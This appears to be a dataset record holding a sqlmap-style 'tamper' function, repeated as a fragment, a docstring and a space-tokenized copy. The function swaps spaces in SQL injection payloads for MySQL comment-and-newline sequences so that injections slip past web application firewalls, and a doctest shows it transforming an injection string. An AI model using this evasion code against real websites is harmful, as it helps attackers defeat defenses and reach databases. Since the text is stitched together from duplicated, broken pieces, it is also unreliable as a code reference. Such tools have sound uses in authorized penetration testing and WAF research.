(payload, **kwargs)
return retVal
Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')

    Requirement:
        * MySQL

    Tested against:
        * MySQL 4.0, 5.0

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'
Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')
Replaces space character ( ) with a pound character ( # ) followed by a random string and a new line ( \ n )
def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')

    Requirement:
        * MySQL

    Tested against:
        * MySQL 4.0, 5.0

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                retVal += "%%23%s%%0A" % randomStr
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal
def tamper ( payload , * * kwargs ) : retVal = "" if payload : for i in xrange ( len ( payload ) ) : if payload [ i ] . isspace ( ) : randomStr = '' . join ( random . choice ( string . ascii_uppercase + string . ascii_lowercase ) for _ in xrange ( random . randint ( 6 , 12 ) ) ) retVal += "%%23%s%%0A" % randomStr elif payload [ i ] == '#' or payload [ i : i + 3 ] == '-- ' : retVal += payload [ i : ] break else : retVal += payload [ i ] return retVal